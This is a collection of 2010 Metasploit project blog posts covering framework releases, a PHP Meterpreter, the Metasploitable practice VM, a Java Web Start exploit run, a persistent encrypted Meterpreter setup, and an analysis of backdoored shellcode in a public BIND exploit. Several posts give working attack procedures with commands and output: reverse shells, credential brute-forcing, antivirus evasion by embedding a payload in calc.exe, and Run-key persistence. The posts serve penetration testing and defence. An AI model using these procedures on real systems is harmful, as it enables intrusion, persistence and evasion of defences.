W3AF: An Open Source Success Story

Today, as Rapid7 announced the sponsorship of a second open source project with its support of w3af, I reflect back on my experience with Rapid7 over the last 9 months. When I agreed to the acquisition of the Metasploit project by Rapid7 in October last year it was with a lot of excitement but also with a small leap of faith. In my initial blog post from October 2009 after the acquisition I spoke about "demonstrating that we mean what we say". I spoke about how Rapid7’s resources would help us hammer out Metasploit Framework releases, with better quality assurance, fewer bugs, more exploits, and faster development cycles. In April, we increased the stakes and promised software that would simplify and automate the penetration testing tasks that you do on a daily basis.

How have we done?

Looking back, I’m glad to see that we seem to have achieved these goals. The Metasploit Framework has been integrated in the Rapid7 development process, leading to the improvements the Metasploit community is experiencing today. The Metasploit Framework remains open source.

Since October 2009, the Metasploit team and Rapid7 have released six versions of the Metasploit Framework, culminating with Metasploit 3.4.1. The Metasploit Framework has added 247 new exploit modules and 184 new auxiliary modules since the acquisition. In the first half of 2010, the Metasploit Framework was downloaded or updated by more than 740,000 unique individuals, an increase of over 91 percent compared to the second half of 2009.

In addition, we launched Metasploit Express, a commercial, enterprise-grade product that makes penetration testing easy and scalable.

It seems this experiment was successful. That’s why I was thrilled to hear this news:

"Andres Riancho joined Rapid7 to launch its global Center of Excellence for Web Security. Andres is the founder of the open-source w3af project, an extensible Web Application Attack and Audit Framework that finds and exploits web application vulnerabilities".

Why is this great news?

Because Rapid7 is committed to the w3af project, sponsoring its continued open source development and "buying in" by looking at integration with their existing commercial offerings.

This is another proof point that open source can succeed, both as a development model, and a business model, with the right configuration. While the Metasploit project was acquired by Rapid7, the w3af project remains independent but sponsored by Rapid7. I am excited to see what other collaborative models the future brings.

If you are currently thinking about launching your own open-source project, let me encourage you. It is a great way to build innovative technology and to contribute to the community. And don’t worry – once the project grows to become too successful for you to do as a hobby, there are many models for you to get the help you need. Metasploit and w3af are just two examples.

Metasploit Framework 3.4.1 Released!

The Metasploit Project is proud to announce the release of the Metasploit Framework version 3.4.1. As always, you can get it from our downloads page, for Windows or Linux. This release sees the first official non-Windows Meterpreter payload, in PHP as discussed last month. Rest assured that more is in store for Meterpreter on other platforms. A new extension called Railgun is now integrated into Meterpreter courtesy of Patrick HVE, giving you scriptable access to Windows APIs and an unprecedented amount of control over post-exploitation. For those of you wishing to contribute to the framework, a new file called HACKING has been introduced that lays out a few guidelines for making it easier.

This release has 16 new exploits, 22 new auxiliary modules and 11 new Meterpreter scripts for your pwning enjoyment. For more in-depth information about this release, see the 3.4.1 release notes

Meterpreter for Pwned Home Pages

Background

Meterpreter, as I'm sure most of our readers know, is an advanced in-memory payload with tons of useful post-exploitation features. About a year ago, while looking through various buggy, backdoored PHP shells, I decided it might be useful to have some of Meterpreter's networking features in the web's most pwnable language. I started to implement this idea prior to Blackhat last year but got caught up in other projects and let it languish. Last week I dusted it off, cleaned it up and committed the first steps toward a full-fledged Meterpreter in PHP.

What works:

• stdapi:filesystem commands: ls, rm, pwd, cd, upload, download, cat, edit
  
• stdapi:system commands: ps, kill, execute*, getpid, getuid, sysinfo
  
• stdapi:network commands: portfwd
  
• msfconsole commands: route
  

* except interaction (the -i option) on Windows.

This is probably best illustrated by some example usage.

msf exploit(php_include) > exploit

[*] Started reverse handler on 192.168.99.1:4444 
[*] Using URL: http://192.168.99.1:8080/foo
[*] PHP include server started.
[*] Sending /vuln/test.php?path=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%39%39%2e%31%3a%38%30%38%30%2f%66%6f%6f%3f
[*] Meterpreter session 27 opened (192.168.99.1:4444 -> 192.168.99.129:2326) at 2010-06-14 14:03:31 -0600

meterpreter > sysinfo
Computer: EGYPT-B3E55BF3C
OS      : Windows NT EGYPT-B3E55BF3C 5.1 build 2600

meterpreter > ls

Listing: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\vuln
==========================================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  141   fil   2010-06-08 01:32:56 -0600  test.php

meterpreter > cd ..
meterpreter > ls

Listing: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs
=====================================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  51    fil   2010-06-14 14:20:53 -0600  foo.php
100666/rw-rw-rw-  44    fil   2004-11-20 11:16:26 -0700  index.html.bak
100666/rw-rw-rw-  609   fil   2010-06-03 16:07:59 -0600  index.php
100666/rw-rw-rw-  16    fil   2010-06-07 09:42:10 -0600  phpinfo.php
40777/rwxrwxrwx   0     dir   2010-06-08 01:32:51 -0600  vuln

meterpreter > cat foo.php
<?php
echo PHP_VERSION . "\n" . PHP_OS . "\n";

meterpreter > background
msf exploit(php_include) > route add 127.0.0.1 255.255.255.0 27
msf exploit(php_include) > connect 127.0.0.1 80
[*] Connected to 127.0.0.1:80
GET /foo.php HTTP/1.0


HTTP/1.1 200 OK
Date: Mon, 14 Jun 2010 20:03:51 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Length: 111
Connection: close
Content-Type: text/html

5.2.13
WINNT
msf exploit(php_include) > sessions -i 26
meterpreter > sysinfo
Computer: vuln
OS      : Linux vuln 2.6.32-22-generic #36-Ubuntu SMP Thu Jun 3 19:31:57 UTC 2010 x86_64
meterpreter > getuid
Server username: www-data (33)
meterpreter > execute -i -f bash
Process 3637 created.
Channel 4 created.
uname -a
Linux vuln 2.6.32-22-generic #36-Ubuntu SMP Thu Jun 3 19:31:57 UTC 2010 x86_64 GNU/Linux
exit
meterpreter > 

What doesn't

• Migrate. This can never work since it doesn't make sense to inject PHP code into a native process, even if PHP had access to the debugging API calls that make it possible.
  
• Token stealing. See above.
  
• Screenshots. A lot of servers running PHP don't even have a screen.
  
• Process interaction on Windows. You can still execute channelized processes, and then read/write the channel, but stream_select() is weird on Windows
  
• It appears that reading from a socket or pipe that has no data will never return, even after setting timeouts. I'm probably missing something that makes this work. Setting non-blocking mode on every socket has it's own issues, but it may be the only way to fix this.
  
• SSL. OpenSSL is not compiled into PHP by default which is a bummer.
  

Future

Eventually I intend to make this work with multiple transport methods. Right now it is a single reverse tcp stage. It would also be nice to use SSL when PHP has been compiled with OpenSSL support but this might be tricky on the ruby side. Extensions need to work for a default install of PHP (zlib is not compiled in by default), which simply means not compressing them before sending. The size of the code should in general be relatively small anyway, so this shouldn't increase the network traffic by much.

It's Ruby all the way down!

I've found myself repeating those words more than a few times over the last couple months. I've gotten some strange looks, but I've just really started to realize the power that the framework gives you. Because of its plaintextiness, it can be read / hacked / mangled by anybody. In essence, you have full visibility in to what's going on with an exploit and you can debug any problems at the moment you encounter them. Compare that to most tools, and i think you'll see the power. In short, if you can see it, you can hack on it.

The underlying rex library is also in ruby, so you can see what's going on behind the curtains of a library call. For instance, I was having trouble debugging an ssh login ('scanner/ssh/ssh_login'), so i looked at the module (look at lines 63-78), figured out how to turn debug mode on, and typed:

msf > set SSH_DEBUG true

All of a sudden, i'm getting insanely detailed output:

[*] 192.168.235.129:22 - SSH - Starting buteforce

establishing connection to 192.168.235.129:22

connection established

negotiating protocol version

remote is `SSH-1.99-OpenSSH_2.5.2p2'

local is `SSH-2.0-Ruby/Net::SSH_2.0.11 x86_64-linux'

[snip]

You could even dig further. Notice that the module has a "require 'net/ssh'". I then went to the $frameork/lib/net directory, and found ssh.rb. by adding some debug lines in here, you could get even greater visibility.

One editor (plugin) to rule them all!

On that note, a new 'editor' plugin was recently committed to make editing modules simpler. We wanted to make it trivial to look at the code for the current module. So if i want to hack on the 'ssh_login' module, rather than navigating here: $framework/modules/auxiliary/scanner/ssh/ssh_login.rb, i can simply type:

msf > use scanner/ssh/ssh_login

msf (ssh_login) > load editor

msf (ssh_login) > edit

The module loads the editor from the $EDITOR environment variable and defaults to vi if you've not set the variable. It's also worth mentioning when you're hacking away on a module and you change something, you'll want to reload the module before running it again. You can do this with a simple 'rexploit' command (for exploits) and a 'rerun' command for auxilliary modules.

That's it! Hope it makes it easier to hack on the framework. Comments / feedback welcome!

(I'm a littttttle disappointed it's not turtles, but it turns out ruby's way more fun :) )

Introducing Metasploitable

One of the questions that we often hear is "What systems can i use to test against?" Based on this, we thought it would be a good idea throw together an exploitable VM that you can use for testing purposes.

Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql.

You can use most VMware products to run it, and you'll want to make sure it's configured for Host-only networking unless it's in your lab - no need to throw another vulnerable machine on the corporate network. It's configured in non-persistent-disk mode, so you can simply reset it if you accidentally 'rm -rf' it.

Here are a couple of the things you can do with it in msfconsole:

Using the 'Tomcat Application Manager Login Utility' provided by MC, Matteo Cantoni, and jduck, you can test credentials against a Tomcat application (assuming the manager component is enabled):

msf > use scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS metasploitable
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
msf auxiliary(tomcat_mgr_login) > exploit

...
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'role1'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'root'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'tomcat'
[+] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'both' with password:'admin'

Woot! That's a valid (tomcat:tomcat) login. - Now that we have valid credentials, let's try jduck's Tomcat Manager Application Deployer (tomcat_mgr_deploy) against it:

msf > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST metasploitable
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > set PAYLOAD linux/x86/shell_bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit

[*] Started bind handler
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux X86"
[*] Uploading 1612 bytes as HJpy1H.war ...
[*] Executing /HJpy1H/EpKaNLsCQUUjo.jsp...
[*] Undeploying HJpy1H ...
[*] Sending stage (36 bytes) to metasploitable
[*] Command shell session 1 opened (10.0.0.11:39497 -> 10.0.0.33:4444) at 2010-05-19 11:53:12 -0500


Sweet! And... that's a shell, facilitated by a malcious .WAR file. The distcc_exec module is also a nice exploit to test with. In this case, we'll use a command payload to 'cat /etc/passwd':

use unix/misc/distcc_exec
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/generic
msf exploit(distcc_exec) > set RHOST metasploitable
msf exploit(distcc_exec) > set CMD 'cat /etc/passwd'
msf exploit(distcc_exec) > exploit
connecting...

[*] stdout: root:x:0:0:root:/root:/bin/bash
[*] stdout: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...

Code exec!

It's great fun to run Express against it too. A single bruteforce of ssh or telnet will return 5 sessions (from the 5 different weak accounts on the VM):



Once we have an open session we can run "Evidence Collection" and pick up any ssh keyfiles from the user accounts we gained access to. (Note that you can do this from the console too, manually - spawn a shell and check the .ssh directories). Now when we run another bruteforce (with 'known' credentials), you can see that it uses the SSH keyfiles to obtain access to the box:



To download Metasploitable, you can pick up the torrent on the Express Community site. If you are an Express customer, you can pick up a direct HTTP download from the Customer Center. See the README.txt here for additional information, but be aware, there are spoilers in it.

Enjoy!

Metasploit Framework 3.4.0 Released!

After five months of development, version 3.4.0 of the Metasploit Framework has been released. Since the last major release (3.3) over 100 new exploits have been added and over 200 bugs have been fixed.

This release includes massive improvements to the Meterpreter payload; both in terms of stability and features, thanks in large part to Stephen Fewer of Harmony Security. The Meterpreter payload can now capture screenshots without migrating, including the ability to bypass Session 0 Isolation on newer Windows operating systems. This release now supports the ability to migrate back and forth between 32-bit and 64-bit processes on a compromised Windows 64-bit operating system. The Meterpreter protocol now supports inline compression using zlib, resulting in faster transfers of large data blocks. A new command, "getsystem", uses several techniques to gain system access from a low-privileged or administrator-level session, including the exploitation of Tavis Ormandy's KiTrap0D vulnerability. Brett Blackham contributed a patch to compress screenshots on the server side in JPG format, reducing the overhead of the screen capture command. The pivoting backend of Meterpreter now supports bi-directional UDP and TCP relays, a big upgrade from the outgoing-only TCP pivoting capabilities of version 3.3.3.

This is the first version of Metasploit to have strong support for bruteforcing network protocols and gaining access with cracked credentials. A new mixin has been created that standardizes the options available to each of the brute force modules. This release includes support for brute forcing accounts over SSH, Telnet, MySQL, Postgres, SMB, DB2, and more, thanks to Tod Beardsley and contributions from Thomas Ring.

Metasploit now has support for generating malicious JSP and WAR files along with exploits for Tomcat and JBoss that use these to gain remote access to misconfigured installations. A new mixin was added that compiles and signs Java applets on fly, courtesy of Nathan Keltner. Thanks to some excellent work by bannedit and Joshua J. Drake, command injection or a cmd.exe shell on Windows can be staged into a full Meterpreter shell using the new CmdStager mixin and "sessions -u" syntax.

This marks the first major release developed under the Rapid7 label and coincides with general availability of Metasploit Express, our first commercial product. We hope you enjoy using the framework as much as we like working on it.

Approaching Metasploit 3.4.0 and Metasploit Express

Since mid-December, the Metasploit team has been working non-stop towards version 3.4.0 of the Metasploit Framework. The final release is still scheduled for mid-May, but I wanted to share some of the upcoming features, available today from the development tree. Version 3.4.0 includes major improvements to the Meterpreter payload, the expansion of the framework’s brute force capabilities, and the complete overhaul of the backend database schema and event subsystem. In addition, more than 60 exploit modules and 40 auxiliary modules have been added since 3.3.3, with more to go before the final release. Our team of 6 dedicated staff, along with our external contributors and the supporting teams within Rapid7, have been cranking out updates and improving the quality of the framework by leaps and bounds. While previous blog posts have covered some of the new features, the draft release notes are up and cover the feature list in greater depth.

I am also pleased to announce that we will be introducing Metasploit Express, an easy to use security solution that is designed to bring penetration testing capabilities to security professionals everywhere. When I first became involved in security, well before the Metasploit Project even started, I had a vision for a security product that would simplify and automate many of the common penetration testing tasks I did on a daily basis. As the Metasploit Project has grown, most of the components required to build this product have ended up in the Metasploit Framework.

Today, tens of thousands of security professionals use the Metasploit Framework and the modules within it for a variety of security tasks. The challenge with using Metasploit during a penetration test is knowing which modules to run, with what payloads, in what order, and with what parameters. Knowing how to use the console and combine modules effectively is one of the most complex skills that a security professional can learn. The framework today contains almost 550 exploits, 200 payloads, and 260 auxiliary modules that can be mixed and matched to do just about anything. This doesn't count the extensive Meterpreter payload or the library of scripts provided in the base installation.

For a security professional trying to get a job done, mastering the basics doesn't take long, but leveraging the full power of the framework can take some time and often requires custom scripting.

This is where Metasploit Express comes into play.

Metasploit Express is essentially three pieces -- the Metasploit Framework that everyone uses today with no special modifications of any kind; the Workflow Manager, which handles the heavy lifting, automation, and analysis; and the User Interface, which provides a simple way to conduct common tasks, view results, interact with compromised targets, and generate reports.

To be absolutely clear, Metasploit Express is a commercial product, complete with a price tag and a support infrastructure. The availability of Metasploit Express does not change the licensing or the development model for the Metasploit Framework, nor do we intend to start charging for the framework at any point in the future. The Metasploit Framework is now and will always be an open-source project in the truest sense, available under one of the most liberal licenses available (New BSD). The open source framework provides the tools that Metasploit Express uses to streamline common penetration testing tasks. This dependency will ensure that new exploits, bug fixes, and payload features will always end up in the open source development tree before being incorporated within the Metasploit Express product. Just like with NeXpose Community Edition, there will be no time delay of modules or commercial restrictions on the use of the open source framework.

For Metasploit to be successful in the long run, it must be much easier to use by a wider range of security professionals. Metasploit Express gets us closer to this goal by making penetration testing accessible to the entire security community. Sales of Metasploit Express provide a path to even faster development of the open source framework and a long-term solution to sustaining the project.

You can find more details about Metasploit Express here, with much more to come as we approach the official release date.

I hope you are as excited about the product as I am :)

-HD

The Java Web Start Argument Injection Vulnerability

Back on April 9th, Tavis Ormandy dropped a bit of a bomb shell on the full-disclosure mailing list. To summarize, Tavis found that a DBD attack was possible utilizing the latest Java Runtime. He reported it to Oracle/Sun, which assessed its severity and stated they didn't plan to patch it out of cycle. Based on his tweets, Tavis found out that other researchers were aware of this issue, and decided to disclose the issue to the public without delay. Shortly after the disclosure, Ruben Santamarta asserted that he had independently discovered it as well, and disclosed his version. That's means at least three independent researchers knew of the issue when it was released on Friday.

Early this afternoon, I committed a Metasploit Framework exploit module for this issue. Before I go any further, let me explain what is required for this module to work. You must run the module as root on a machine that does not run an SMB server. This way, fetching the UNC path will fail using SMB and fall back to the WebDAV Mini-Redirector. That leads me to the second requirement. If the target host does not have the WebClient service enabled, this module will not be able to obtain a session. You can check the status of the WebClient service like this:

C:\>sc query webclient | find "STATE"
        STATE              : 4  RUNNING

This service controls whether or not the WebDAV Mini-Redirector functionality is enabled. Steve Tornio of OSVDB and his desktop integration guy pointed this out. Thank you very much! BTW, ^5 (high five) for disabling this service by default in your environment. I recommend others follow suit to harden their systems...

BTW, exploiting this vulnerability using SMB is most likely possible, but wasn't investigated. If so, all this mess about disabling the WebDAV Mini-Redirector becomes irrelevant. Blocking an SMB version of this exploit would be trickier, and usually means firewalling outbound SMB traffic.

Now, on to using the exploit module. To do most of my testing I use the recently discussed resource script functionality.

$ cat java_ws_arginject.msfrc
use exploit/windows/browser/java_ws_arginject_altjvm
set LHOST 31.3.3.7
set LPORT 31337
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
$

Running msfconsole using this resource script looks like this:

$ msfconsole -r java_ws_arginject.msfrc

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888


       =[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -- --=[ 542 exploits - 257 auxiliary
+ -- --=[ 208 payloads - 23 encoders - 8 nops
       =[ svn r9085 updated today (2010.04.15)

resource (java_ws_arginject.msfrc)> use exploit/windows/browser/java_ws_arginject_altjvm
resource (java_ws_arginject.msfrc)> set LHOST 31.3.3.7
LHOST => 31.3.3.7
resource (java_ws_arginject.msfrc)> set LPORT 31337
LPORT => 31337
resource (java_ws_arginject.msfrc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (java_ws_arginject.msfrc)> exploit
[*] Exploit running as background job.
msf exploit(java_ws_arginject_altjvm) >
[*] Started reverse handler on 31.3.3.7:31337
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://31.3.3.7:80/
[*] Server started.

Now, when the target visits this URL, the following appears:

[*] Request for "/" does not contain a sub-directory, redirecting to /3GE9ACbFvazjwOL/ ...
[*] Responding to "GET /3GE9ACbFvazjwOL/" request from 141.146.9.91:3942
[*] Sending HTML to 141.146.9.91:3942...
[*] Responding to WebDAV "OPTIONS /" request from 141.146.9.91:3949
[*] Request for "/3GE9ACbFvazjwOL" does not contain a sub-directory, redirecting to /3GE9ACbFvazjwOL/ ...
[*] Received WebDAV "PROPFIND /3GE9ACbFvazjwOL/" request from 141.146.9.91:3949
[*] Sending directory multistatus for /3GE9ACbFvazjwOL/ ...
[*] Request for "/3GE9ACbFvazjwOL" does not contain a sub-directory, redirecting to /3GE9ACbFvazjwOL/ ...
[*] Received WebDAV "PROPFIND /3GE9ACbFvazjwOL/" request from 141.146.9.91:3949
[*] Sending directory multistatus for /3GE9ACbFvazjwOL/ ...
[*] Received WebDAV "PROPFIND /3GE9ACbFvazjwOL/jvm.dll" request from 141.146.9.91:3949
[*] Sending DLL multistatus for /3GE9ACbFvazjwOL/jvm.dll ...
[*] Responding to "GET /3GE9ACbFvazjwOL/jvm.dll" request from 141.146.9.91:3949
[*] Sending DLL to 141.146.9.91:3949...
[*] (UUID:horcpvyf) Sending stage (748032 bytes) to 141.146.9.91
[*] Meterpreter session 1 opened (31.3.3.7:31337 -> 141.146.9.91:3950)

As you can see, the exploit was successful and yielded a Meterpreter session.

The vulnerable test machine was an out-of-date Windows XP SP3 machine running Java Runtime Environment 6 Update 18. As Tavis said, it should work on any machine using JRE 6 Update 10 or newer.

Yesterday, HD pointed me at a Wepawet analysis that included what appeared to be an attempt to exploit this vulnerability. Unfortunately, I wasn't able to download the calc223.jar payload that was referenced in the analysis -- if you have it, please share! Apparently, that was enough to put the Oracle security process into fast forward. Today, they released an update to correct the issue, as well as an advisory and a blog post to spread the word. Nice work Oracle/Sun!

On a side note (yes, another one), during testing I noticed some odd crashes that would occur occasionally when the DLL failed to load. When I went to close the browser, it would crash de-referencing data that appeared to be an ASCII string! Oh no! I haven't looked further, but I'm guessing it is the second, mysterious CVE that Oracle mentioned today. Hard to tell for sure since Oracle doesn't generally like to confirm or deny that kind of information...

Persistent Meterpreter over Reverse HTTPS

Botnet agents and malware go through inordinate lengths to hide their command and control traffic. From a penetration testing perspective, emulating these types of communication channels is possible, but often requires a custom toolkit to be deployed to the target. In this post I will walk through using the standard Metasploit Meterpreter payload as a persistent encrypted remote control tool.

First things first, grab the latest version of Metasploit (3.3.3) and update to the latest SVN snapshot. Revision r9058 or newer will work for this example.

Next, we need to setup a listening station for the remote system to connect to. This is the system that will be running msfconsole and handling the incoming connections. The two important variables here are the hostname or IP address (LHOST) and the listening port (LPORT). If you do not have access to a dedicated external system, you will need to configure your local firewall or NAT gateway to forward LPORT from the external interface to your listener. In this example, we want to use the brand new reverse_https stager, which in addition to going over SSL has the benefit of resolving DNS at runtime. This stager, along with reverse_tcp_dns, allows an actual hostname to be specified in the LHOST parameter. If you are using a dynamic DNS service, this would allow the reverse connect payload to follow your DNS changes.

Assuming we are running Metasploit on a typical broadband connection and behind a NAT gateway, we would first register our system with a dynamic DNS service (metasploit.kicks-ass.net), choose a listening port (8443) and then forward this from the NAT gateway to our internal machine running Metasploit. Once the port forward has been configured and the dynamic DNS entry has been activated, we can start msfconsole:

$ msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https     
msf exploit(handler) > set LPORT 8443 
msf exploit(handler) > set LHOST metasploit.kicks-ass.net
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
[*] HTTPS listener started on http://metasploit.kicks-ass.net:8443/
[*] Starting the payload handler...

Once the listener has been configured, you can test whether the handler is working properly by using a third-party web site test tool that supports SSL. I have had success using WAVE, but any "site check" tool will indicate whether the handler is accessible. If you access the handler URL in your browser, you should see an invalid SSL certificate prompt followed by a "No site configured at this address" message.

After the listener has been configured and tested, its time to create the actual persistent Meterpreter connect-back script. In order to avoid some of the more bothersome AV products, it makes sense to use a benign executable as a "template" and inject the payload inside, then wrap this all in a script. On your system running Metasploit, identify an executable to use as the template. I often use the standard calc.exe that ships with Windows operating system, but any moderately-sized EXE will do. Once the template has been identified, create a reverse_https Meterpreter, using the EXE template, wrapped in a script, with a persistent retry. The following command does this:

$ msfpayload windows/meterpreter/reverse_https LHOST=metasploit.kicks-ass.net LPORT=8443 R |
msfencode -x calc.exe -t loop-vbs -o final.vbs
[*] x86/shikata_ga_nai succeeded with size 408 (iteration=1)
$ ls -la final.vbs
-rw-r--r-- 1 hdm hdm 955641 Apr 13 08:51 final.vbs

Finally, execute the VBS on the target system, and enjoy a 100% SSL-encrypted, DNS-aware, persistent remote connect-back. The reconnect interval can be changed by editing the VBS script itself (all the way at the bottom). To stop the connect-back, simply kill the wscript.exe process. To make this persist across reboots, add this to the standard Run key or the Startup folder.

[*] A.B.C.D:53386 Request received for /AVkev...
[*] A.B.C.D:53386 Staging connection for target Vkev received...
[*] Patching Target ID Vkev into DLL
[*] A.B.C.D:53387 Request received for /BVkev...
[*] A.B.C.D:53387 Stage connection for target Vkev received...
[*] Meterpreter session 2 opened (192.168.0.228:8443 -> A.B.C.D:53387)

msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: metal\dev

meterpreter > ps

Process list
============

 PID   Name                          Arch  Session  User       Path
 ---   ----                          ----  -------  ----       ----
 0     [System Process]                                        
 4     System                                                  
 404   smss.exe                                                
 520   csrss.exe                                               
 584   wininit.exe                                             
 608   csrss.exe                                               
 648   services.exe                                            
 668   lsass.exe                                               
 676   lsm.exe                                                 
 792   svchost.exe                                             
 852   nvvsvc.exe                                              
 892   svchost.exe                                             
[truncated]

For more information about how the reverse_https and reverse_tcp_dns stagers work, I recommend reading the source. While the initial stage supports SSL, DNS, proxies, and authentication, the second stage does not support the last two features (yet).

Penetration Testing: Learn Assembly?

This afternoon a question came up on the #metasploit IRC channel (irc.freenode.net). The questioner asked: "Should a good penetration tester know assembly?". This lead to some discussion about when and where assembly language skills become important in the scope of a penetration test. My normal response to "Should I learn [something]?" questions is always a resounding YES; it is hard to know too much as a penetration tester or system auditor.

Little things, like knowledge of beginner mistakes in configuration files, can go a long way to a successful penetration test. In the case of assembly, it helps, just like everything else does, but its not always required or even used frequently. Assembly language programming is mandatory for developing your own exploits and for tweaking others, but for the most part, it is not the defining factor in whether you will gain access to a network.

There is one critical task where deep knowledge of assembly (and C) is required; validating public exploits. Over the years, dozens of fake exploits have been released; some of these delete all of the files from the drive, while others install a persistent backdoor. There is one other class of backdoored exploits that you rarely hear about, but are still found on public exploit repositories. These exploits look correct, function correctly, but also provide the exploit author with access to the system you exploited. The tricky thing about these exploits is that to find the backdoor, you have to decode and understand the shellcode, which is invariably written in assembly language.

Lets go through a real-life example. In 2001, Gustavo Scotti of Tamandua Laboratories (now Axur Information Security) released an exploit for the BIND TSIG buffer overflow vulnerability published by Network Associates (now McAfee). This exploit, named tsl_bind.c can still be found on a number of exploit repositories, including PacketStorm. This exploit looks and works as advertised, except for one tiny thing. Lets take a closer look at the Linux shellcode in this exploit:

/* SHELLCODE - this is a connect back shellcode */
u8 shellcode[]=
"\x3c\x90\x89\xe6\x83\xc6\x40\xc7\x06\x02\x00\x0b\xac\xc7\x46"
"\x04\x97\xc4\x47\xa0\x31\xc0\x89\x46\x08\x89\x46\x0c\x31\xc0\x89"
"\x46\x28\x40\x89\x46\x24\x40\x89\x46\x20\x8d\x4e\x20\x31\xdb\x43"
"\x31\xc0\x83\xc0\x66\x51\x53\x50\xcd\x80\x89\x46\x20\x90\x3c\x90"
"\x8d\x06\x89\x46\x24\x31\xc0\x83\xc0\x10\x89\x46\x28\x58\x5b\x59"
"\x43\x43\xff\x76\x20\xcd\x80\x5b\x4f\x74\x32\x8b\x04\x24\x89\x46"
"\x08\x90\xbd\x7f\x00\x00\x01\x89\x6e\x04\xc7\x06\x03\x80\x35\x86"
"\xb8\x04\x00\x00\x00\x8d\x0e\x31\xd2\x83\xc2\x0c\xcd\x80\xc7\x06"
"\x02\x00\x0b\xab\x89\x6e\x04\x90\x31\xff\x47\xeb\x88\x90\x31\xc0"
"\x83\xc0\x3f\x31\xc9\x50\xcd\x80\x58\x41\xcd\x80\xc7\x06\x2f\x62"
"\x69\x6e\xc7\x46\x04\x2f\x73\x68\x00\x89\xf0\x83\xc0\x08\x89\x46"
"\x08\x31\xc0\x89\x46\x0c\xb0\x0b\x8d\x56\x0c\x8d\x4e\x08\x89\xf3"
"\xcd\x80\x31\xc0\x40\xcd\x80";

Nothing too sinister jumps out at first glance, but lets actually look at the instructions:

00000000  3C90              cmp al,0x90
00000002  89E6              mov esi,esp
00000004  83C640            add esi,byte +0x40
00000007  C70602000BAC      mov dword [esi],0xac0b0002
0000000D  C7460497C447A0    mov dword [esi+0x4],0xa047c497
00000014  31C0              xor eax,eax
[snip]
00000058  7432              jz 0x8c
0000005A  8B0424            mov eax,[esp]
0000005D  894608            mov [esi+0x8],eax
00000060  90                nop
00000061  BD7F000001        mov ebp,0x100007f
00000066  896E04            mov [esi+0x4],ebp
00000069  C70603803586      mov dword [esi],0x86358003
0000006F  B804000000        mov eax,0x4

In the code above (see here for a full listing), we can see that there are actually TWO reverse connections. One which goes to 151.196.71.160 (0x97c447a0) and another that goes to 127.0.0.1 (0x7f000001). The 127.0.0.1 address is substituted when the exploit is run, but the first address is not. In essence, every time this exploit succeeds, it will provide you with a shell, but also connects back to the author's IP address and send a blob of information about the user running the exploit.

If you pipe the shellcode into Metasploit's msfencode, you can see it in action:

$ msfencode -e generic/none -a x86 -p linux -t elf -o tsl.bin < shellcode.raw
$ chmod +x ./tsl.bin
$ strace -f -qix ./tsl.bin
[ Process PID=15282 runs in 32 bit mode. ]
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(2988), sin_addr=inet_addr("151.196.71.160")}, 16
write(3, "\3\2005\206\177\0\0\1\1\0\0\0", 12) = 12
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4
connect(4, {sa_family=AF_INET, sin_port=htons(2987), sin_addr=inet_addr("127.0.0.1")}, 16) = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
execve("/bin/sh",...)= 0

To add insult to injury, the backdoor IP gets the shellconnection first!

In summary, if you are using exploits from public repositories for your penetration testing engagements, you do need to learn assembly code. Intel x86 is a must, but also any other architecture you happen to test (PowerPC, SPARC, ARM, etc).

This is another reason to prefer the Metasploit Framework over an unveted public exploit. Every single exploit, encoder, nop generator, and payload in Metasploit has been reviewed by a member of the core team. A side effect of us converting public exploits into Metasploit modules is the review and analysis process. Public code is first broken down into the transport, vector, return address, and payload components, and each piece is then reimplemented using the Metasploit API. This process leads to reliable exploit code that doesn't depend on a specific payload or transport.

